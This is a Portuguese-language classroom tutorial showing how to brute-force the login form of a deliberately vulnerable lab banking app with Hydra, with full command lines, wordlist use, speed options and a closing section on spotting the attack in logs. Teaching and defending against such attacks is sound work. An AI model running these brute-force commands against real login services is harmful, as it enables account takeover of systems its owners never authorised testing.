

Tutorial — Brute force de login com Hydra

Este roteiro mostra como usar o **Hydra**, uma ferramenta pronta de brute force já disponível no Kali Linux, contra a aplicação `banco_web_seguranca` (a cópia vulnerável criada só para esta disciplina). A ideia é comparar, em uma aula futura, o que uma ferramenta profissional faz por trás com o script Python que a turma vai escrever na mão (`bruteforce_login.py`).

⚠️ Uso permitido apenas dentro do laboratório, contra a aplicação `banco_web_seguranca` subida pelo professor, com autorização explícita. Rodar brute force contra qualquer sistema sem autorização é crime (Marco Civil da Internet, invasão de dispositivo informático — art. 154-A do Código Penal). Nunca aponte essas ferramentas para um sistema real de terceiros.

1. O que é o Hydra

Hydra (também chamado `thc-hydra`) é uma ferramenta de força bruta que tenta várias combinações de usuário/senha contra um serviço (SSH, FTP, formulários web, etc.) de forma muito mais rápida e configurável do que um script simples, porque:

- Faz tentativas em paralelo (várias threads ao mesmo tempo).
- Já sabe "conversar" com dezenas de protocolos diferentes (não só HTTP).
- Tem opções prontas para parar assim que encontra a senha certa, controlar velocidade, etc.

Já vem instalado no Kali Linux. Em outra distribuição, instale com:

```
bash
sudo apt update && sudo apt install hydra
```

2. Antes de começar: entenda a requisição que você vai atacar

O Hydra para formulários web precisa que você diga **exatamente** como é a requisição de login, porque ele não lê o HTML da página sozinho. Descubra isso primeiro:

1. Suba a aplicação alvo (com Docker, na porta 8002):

```
bash
cd banco_web_seguranca
docker compose up --build
```

2. Abra `http://<IP-do-professor>:8002/docs` e teste a rota `POST /login` manualmente pelo Swagger, ou com `curl`:

```
bash
curl -i -X POST http://<IP-do-professor>:8002/login \
-H "Content-Type: application/json" \
-d '{"usuario": "admin", "senha": "senhaerrada"}
```

3. Anote:

- O método (`POST`).

- O **caminho** (`/login`).
- O **formato do corpo** (JSON? `usuario` e `senha` são os nomes exatos dos campos?).
- Qual é a resposta de **falha** (ex.: HTTP 401, ou um texto como `"erro"` no corpo).
- Qual é a resposta de **sucesso** (ex.: HTTP 200, ou um texto como `"status": "ok"` no corpo).

O Hydra decide se a tentativa deu certo comparando a resposta com um texto que você informa, por isso esse passo é essencial.

3. Módulo `http-post-form` do Hydra

Para atacar um login feito por `POST` com corpo, o módulo é `http-post-form`. A sintaxe geral é:

```
bash
hydra -L <arquivo_de_usuarios> -P <arquivo_de_senhas> <IP-alvo> http-post-form \
    "<caminho>:<corpo_do_post>:<condicao_de_falha>"
```

Explicando cada parte:

Parte	O que é
<code>-L usuarios.txt</code>	arquivo com uma tentativa de usuário por linha (ou <code>-l admin</code> para um único usuário fixo)
<code>-P senhas.txt</code>	arquivo com uma tentativa de senha por linha (a wordlist)
<code><IP-alvo></code>	IP da máquina onde a aplicação está rodando (não use <code>localhost</code> se for atacar de outra máquina)
<code><caminho></code>	o path da rota, ex.: <code>/login</code>
<code><corpo_do_post></code>	como o corpo da requisição é montado, com <code>^USER^</code> e <code>^PASS^</code> no lugar do usuário e da senha
<code><condicao_de_falha></code>	um texto que aparece na resposta quando o login falha (Hydra assume sucesso quando esse texto NÃO aparece)

Se a aplicação usar `application/x-www-form-urlencoded`

```
bash
hydra -L usuarios.txt -P senhas.txt 192.168.0.10 -s 8002 http-post-form \
    "/login:usuario=^USER^&senha=^PASS^:F=erro"
```

Se a aplicação usar JSON (como no `banco_web_seguranca`)

O Hydra também consegue mandar corpo em JSON, só precisa dizer o `Content-Type` certo e escrever o corpo como JSON:

```
bash
hydra -L usuarios.txt -P senhas.txt 192.168.0.10 -s 8002 http-post-form \
    "/login:{\"usuario\": \"^USER^\", \"senha\": \"^PASS^\"}:F=erro:H=Content-Type: application/json"
```

- `(-s 8002)` → porta da aplicação (padrão do módulo web é 80/443, então quase sempre precisamos informar `(-s)`).
- `(F=erro)` → indica Falha: o Hydra procura a palavra `(erro)` na resposta. Como o `(banco_web_seguranca)` responde `{"status": "erro", ...}` em caso de falha, esse texto serve de marcador. Ajuste conforme a resposta real que você anotou no passo 2.
- Também é possível usar `(S=)` (Sucesso) em vez de `(F=)`, se preferir marcar o texto que só aparece quando o login dá certo (ex.: `S=status:"ok"`).

4. Rodando contra um único usuário (mais realista para "achar a senha do admin")

bash

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.0.10 -s 8002 http-post-form \
"/login:{\"usuario\":\"admin\", \"senha\":\"^PASS^\"}:F=erro:H=Content-Type: application/json"
```

- `(-l admin)` (minúsculo) → um único usuário fixo, em vez de uma lista `(-L)`.
- `(rockyou.txt)` já vem no Kali em `(/usr/share/wordlists/rockyou.txt)` (compactado; descompacte antes com `(gunzip /usr/share/wordlists/rockyou.txt.gz)`, se necessário). É a mesma wordlist famosa que o script Python da aula também vai usar (ver `(bruteforce_login.py)`), então dá para comparar tempo e resultado das duas abordagens.

5. Lendo a saída

Quando o Hydra encontra uma combinação válida, ele imprime algo como:

```
[8002][http-post-form] host: 192.168.0.10 login: admin password: admin123
```

Ele também aceita `(-t <n>)` para controlar quantas tentativas simultâneas `(-t 4)` é mais discreto, `(-t 16)` é mais agressivo) e `(-f)` para parar assim que a primeira combinação certa for encontrada (bom para não continuar martelando o servidor à toa).

Exemplo completo, mais realista para usar em aula:

bash

```
hydra -l admin -P senhas_comuns.txt 192.168.0.10 -s 8002 -t 4 -f -o resultado_hydra.txt \
http-post-form "/login:{\"usuario\":\"admin\", \"senha\":\"^PASS^\"}:F=erro:H=Content-Type: application/
```

- `(-t 4)` → 4 tentativas em paralelo.
- `(-f)` → para no primeiro acerto.
- `(-o resultado_hydra.txt)` → salva o resultado em arquivo.

6. Comparando com o script Python da turma

Depois de rodar o Hydra, vale comparar com o `(bruteforce_login.py)`:

	Hydra	Script Python (<code>requests</code>)
Velocidade	Muito mais rápido (paralelo, em C)	Mais lento (sequencial, salvo se implementarmos threads)
Curva de aprendizado	Precisa aprender a sintaxe da ferramenta	Os alunos entendem cada linha, porque escreveram
Flexibilidade	Ótimo para protocolos padrão (SSH, FTP, formulários simples)	Fácil de adaptar para qualquer lógica específica da aplicação
Objetivo pedagógico	Mostrar "o que os profissionais usam"	Mostrar "o que está acontecendo por dentro"

Essa comparação é o gancho para a discussão em aula: uma ferramenta pronta como o Hydra é o que se usa no dia a dia de um pentest, mas entender como ela funciona por dentro (fazendo na mão em Python primeiro) ajuda a interpretar os logs do lado defensivo depois.

7. Do lado do Blue Team

Depois do ataque (por Hydra ou pelo script Python), abra os logs gerados pela aplicação:

```
bash
cat banco_web_seguranca/data/acessos.log
```

Cada linha de falha seguida do mesmo IP em um intervalo curto é a assinatura de um brute force. Essa análise fica para uma próxima aula (Aula 15 do plano, "Lado blue team — logging e detecção"), mas já vale mostrar o arquivo de log crescendo em tempo real durante o ataque, com:

```
bash
tail -f banco_web_seguranca/data/acessos.log
```